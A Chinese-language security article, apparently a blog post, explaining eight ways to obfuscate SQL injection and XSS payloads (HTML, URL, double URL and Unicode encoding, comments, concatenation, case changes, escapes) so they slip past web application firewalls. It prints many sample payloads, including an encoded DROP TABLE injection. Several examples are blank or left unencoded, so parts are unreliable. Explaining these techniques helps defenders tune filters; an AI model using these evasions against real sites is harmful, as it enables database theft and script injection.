八種繞過WAF防火墻的Payload混淆技術(shù)
摘要 Payload混淆技術(shù)是一種用來繞過Web應(yīng)用防火墻(WAF)檢測的方法。WAF的主要功能是通過分析HTTP請(qǐng)求和響應(yīng)中的內(nèi)容來檢測和阻止惡意流量,比如SQL注入、跨站腳本(XSS)攻擊等。Payload混淆技術(shù)的原理是通過修改攻擊載荷(payload)的外觀,使其難以被WAF正確識(shí)別,但在目標(biāo)應(yīng)用處理時(shí)依然能夠被正常執(zhí)行。 HTML編碼混淆技術(shù) HTML編碼是一種將特殊字符轉(zhuǎn)換為其HTML實(shí)體表示的方法。HTML實(shí)體是一種以字符名稱或字符代碼表示的字符,使得這些字符可以安全地嵌入HTML文檔中,而不會(huì)被解析為HTML標(biāo)簽或其他HTML特殊字符。 常見的HTML編碼如下:
使用HTML編碼進(jìn)行Payload混淆的主要原理是,通過將攻擊載荷中的特殊字符轉(zhuǎn)換為其HTML實(shí)體形式,使得WAF難以準(zhǔn)確解析和檢測到這些字符。盡管這些編碼形式在瀏覽器解析時(shí)會(huì)恢復(fù)為原始字符,但在經(jīng)過WAF時(shí),由于編碼后的形式與實(shí)際字符不同,WAF可能無法正確識(shí)別和阻止這些載荷。 示例1:XSS攻擊 例如: <script>alert(1)</script> 此編碼將特殊字符替換為HTML 實(shí)體等效項(xiàng),從而使安全過濾器更難識(shí)別其特征。 示例2:SQL注入 一個(gè)SQL注入攻擊載荷是: `SELECT%20*%20FROM%20users%20WHERE%20username%3D%27admin%27%20OR%201%3D1%20--%27'` 這種情況下,雖然數(shù)據(jù)庫在接收到查詢時(shí)會(huì)將其解析為原始SQL語句,但WAF可能會(huì)因?yàn)榫幋a形式不同而無法正確識(shí)別和阻止。 URL編碼混淆技術(shù)
URL編碼(也稱為百分號(hào)編碼)是一種將數(shù)據(jù)轉(zhuǎn)換為可以在URL中安全傳輸?shù)母袷降姆椒?。由于URL只能包含某些字符,因此URL編碼用于將不安全的字符轉(zhuǎn)換為允許的ASCII字符。
常見的URL編碼示例:
黑客通常使用 URL 編碼和十六進(jìn)制編碼等方法對(duì)其有效payload進(jìn)行編碼。一旦有效載荷到達(dá)目標(biāo),就會(huì)對(duì)其進(jìn)行解碼以執(zhí)行攻擊。例如, %27%3B%20%44%52%4F%50%20%54%41%42%4C%45%20%75%73%65%72%73%3B%20%2D%2D 雙重URL編碼混淆技術(shù) 雙重URL編碼(Double URL Encoding)是一種更復(fù)雜的編碼技術(shù),其中對(duì)字符進(jìn)行了兩次URL編碼。這種技術(shù)常用于繞過某些Web應(yīng)用防火墻(WAF)或其他安全機(jī)制,因?yàn)閮纱尉幋a后的字符串更難以被識(shí)別和解析。 首先,回顧一下單次URL編碼。URL編碼是將特殊字符轉(zhuǎn)換為其ASCII值的十六進(jìn)制表示,并在前面加上百分號(hào) (
雙重URL編碼則是對(duì)已經(jīng)進(jìn)行了一次URL編碼的字符串,再進(jìn)行一次URL編碼。具體步驟如下: 1、第一次URL編碼: 2、第二次URL編碼: 最終,字符 雙重URL編碼可以用來繞過一些WAF,因?yàn)殡p重編碼后的payload更難被識(shí)別為攻擊。以下是一些示例: 示例1:XSS攻擊 一個(gè)簡單的XSS攻擊payload是 1、第一次URL編碼: 2、第二次URL編碼: 最終的payload內(nèi)容為: 示例2:SQL注入 一個(gè)SQL注入攻擊payload是: 1、第一次URL編碼: 2、第二次URL編碼:
最終的Payload為: 字符替換或添加注釋混淆技術(shù)
在使用字符替換或添加注釋進(jìn)行Payload混淆時(shí),攻擊者通過在原始攻擊載荷中插入無害字符或注釋符號(hào)來擾亂WAF的解析規(guī)則,從而繞過防護(hù)。 一、字符替換 字符替換技術(shù)通過用等價(jià)字符或字符串來替換原始載荷中的某些部分,使得WAF難以匹配到已知的攻擊模式。 示例1:SQL注入 原始SQL注入Payload如下: SELECT * FROM users WHERE username='admin' OR 1=1 --' 使用字符替換技術(shù),可以將關(guān)鍵字替換為等價(jià)表達(dá)方式: SELECT * FROM users WHERE username='admin' OR '1'='1' --' 進(jìn)一步替換為: SELEC/**/T * FR/**/OM users WHERE user/**/name='admin' OR '1'='1' --' 在這個(gè)示例中, 示例2:XSS攻擊 原始XSS攻擊Payload如下: <script>alert('XSS')</script> 使用字符替換技術(shù),可以將標(biāo)簽和函數(shù)拆分: <scri"+"pt>alert('XSS')</scr"+"ipt> 或: <scri<!--comment-->pt>alert('XSS')</scri<!--comment-->pt> 二、添加注釋 通過在載荷中插入注釋符號(hào),進(jìn)一步擾亂WAF的解析規(guī)則。注釋符號(hào)可以用來分隔關(guān)鍵字,使WAF無法正確識(shí)別。 示例1:SQL注入 原始SQl注入Payload: SELECT * FROM users WHERE username='admin' OR 1=1 --' 使用添加注釋技術(shù),可以在關(guān)鍵字之間添加SQL注釋: SELECT/*comment*/ * FROM/*comment*/ users WHERE/*comment*/ username='admin'/*comment*/ OR 1=1 --' 示例2:XSS攻擊 原始XSS攻擊Payload: <script>alert('XSS')</script> 使用添加注釋技術(shù),可以在標(biāo)簽和內(nèi)容之間添加HTML注釋: <script><!--comment-->alert('XSS')<!--comment--></script> 字符串連接混淆技術(shù) 字符串連接是一種常見的Payload混淆技術(shù),通過將惡意字符串分割成多個(gè)部分,并使用不同的方式重新組合在一起,使得WAF難以檢測到完整的攻擊Payload。 示例1:SQL注入 原始SQL注入Payload: SELECT * FROM users WHERE username='admin' OR 1=1 --' 使用字符串連接技術(shù),可以將這個(gè)載荷分割并重新組合: SELEC' + 'T * FR' + 'OM users WHERE user' + 'name='admin' OR 1=1 --' 或者使用SQL拼接函數(shù)(不同數(shù)據(jù)庫有不同的字符串拼接方式): SELECT * FROM users WHERE username='ad'||'min' OR 1=1 --'SELECT * FROM users WHERE username=CONCAT('ad','min') OR 1=1 --' 示例2:XSS攻擊 原始XSS攻擊Payload: <script>alert('XSS')</script> 使用字符串連接技術(shù),可以將這段載荷分割并重新組合: <scr'+'ipt>alert('XSS')</scr'+'ipt> 或者使用JavaScript的字符串拼接: <scri' + 'pt>alert("XSS")</scri' + 'pt> 大小寫轉(zhuǎn)換混淆技術(shù) 該技術(shù)是一種通過改變關(guān)鍵字或標(biāo)識(shí)符的大小寫來混淆Payload的技術(shù)。許多編程語言和數(shù)據(jù)庫查詢語言(如SQL)對(duì)關(guān)鍵字大小寫不敏感(即大小寫不敏感),因此攻擊者可以利用這種特性改變載荷中的大小寫,從而繞過Web應(yīng)用防火墻(WAF)的檢測。 示例1:SQL注入 原始SQL注入Payload: SELECT * FROM users WHERE username='admin' OR 1=1 --' 使用大小寫轉(zhuǎn)換技術(shù), 可以將關(guān)鍵字大小寫變換: SeLeCt * FrOm users WhErE username='admin' Or 1=1 --' 進(jìn)一步變換: sEleCt * frOM users wHErE username='admin' OR 1=1 --' 示例2:XSS攻擊 原始XSS攻擊Payload: <script>alert('XSS')</script> 經(jīng)過大小寫轉(zhuǎn)換,可以將標(biāo)簽和函數(shù)名大小寫變換: <script>alert('XSS')</script> 進(jìn)一步變換: <script>aLeRt('XSS')</script> 轉(zhuǎn)義字符混淆技術(shù)
使用轉(zhuǎn)義字符(Escape Characters)是一種常見的Payload混淆技術(shù),通過在特殊字符前添加轉(zhuǎn)義符號(hào),使得這些字符在解析時(shí)具有不同的含義,從而繞過Web應(yīng)用防火墻(WAF)或其他安全機(jī)制的檢測。 轉(zhuǎn)義字符是用來表示某些特殊字符或控制字符的序列。通常,一個(gè)轉(zhuǎn)義字符由一個(gè)反斜杠 ( 轉(zhuǎn)義字符的常見應(yīng)用:
通過在攻擊Payload中插入轉(zhuǎn)義字符,可以改變Payload的外觀,使得WAF難以匹配已知的攻擊模式。在解析和執(zhí)行時(shí),轉(zhuǎn)義字符會(huì)恢復(fù)為原始字符,從而使得攻擊Payload能夠正常工作。 示例1:SQL注入 原始SQL注入Payload: SELECT * FROM users WHERE username='admin' OR 1=1 --' 使用轉(zhuǎn)義字符,可以在單引號(hào)前插入反斜杠: SELECT * FROM users WHERE username=\'admin\' OR 1=1 --\' 或者使用雙引號(hào)和反斜杠: SELECT * FROM users WHERE username="admin\" OR \"1\"=\"1\" --" 示例2:XSS攻擊 原始XSS攻擊Payload: <script>alert('XSS')</script> 使用轉(zhuǎn)義字符,可以在雙引號(hào)和單引號(hào)前插入反斜杠: <script>alert(\'XSS\')</script> 或者在HTML實(shí)體編碼中使用反斜杠: <script>alert('XSS')</script> Unicode混淆技術(shù)
使用Unicode作為Payload混淆技術(shù)是一種通過將常見字符轉(zhuǎn)換為其Unicode編碼形式,使得WAF難以檢測到惡意Payload的方法。Unicode編碼可以用來表示幾乎所有的字符,因此它在混淆攻擊Payload時(shí)非常有效。 什么是Unicode? Unicode是一種字符編碼標(biāo)準(zhǔn),它為所有的字符提供唯一的編號(hào),可以表示世界上幾乎所有的文字系統(tǒng)中的字符。常見的Unicode表示形式有:
通過將攻擊載荷中的字符轉(zhuǎn)換為Unicode編碼形式,可以繞過WAF的檢測。例如,常見的SQL關(guān)鍵字和HTML標(biāo)簽在轉(zhuǎn)換為Unicode后,可能無法被簡單的字符串匹配規(guī)則識(shí)別。 示例1:SQL注入 原始SQL注入Payload: SELECT * FROM users WHERE username='admin' OR 1=1 --' 使用Unicode編碼進(jìn)行混淆,可以將關(guān)鍵字和符號(hào)轉(zhuǎn)換為Unicode形式: \u0053\u0045\u004C\u0045\u0043\u0054 * \u0046\u0052\u004F\u004D users \u0057\u0048\u0045\u0052\u0045 username=\u0027admin\u0027 \u004F\u0052 1=1 --\u0027 或者使用十六進(jìn)制表示形式: \x53\x45\x4C\x45\x43\x54 * \x46\x52\x4F\x4D users \x57\x48\x45\x52\x45 username=\x27admin\x27 \x4F\x52 1=1 --\x27 示例2:XSS攻擊 原始XSS攻擊Payload: <script>alert('XSS')</script> 使用Unicode編碼進(jìn)行混淆,可以將標(biāo)簽和內(nèi)容轉(zhuǎn)換為Unicode形式: \u003Cscript\u003Ealert(\u0027XSS\u0027)\u003C/script\u003E 或者使用十六進(jìn)制表示形式: \x3Cscript\x3Ealert(\x27XSS\x27)\x3C/script\x3E
該文章在 2024/6/15 18:47:34 編輯過 |
關(guān)鍵字查詢
相關(guān)文章
正在查詢... |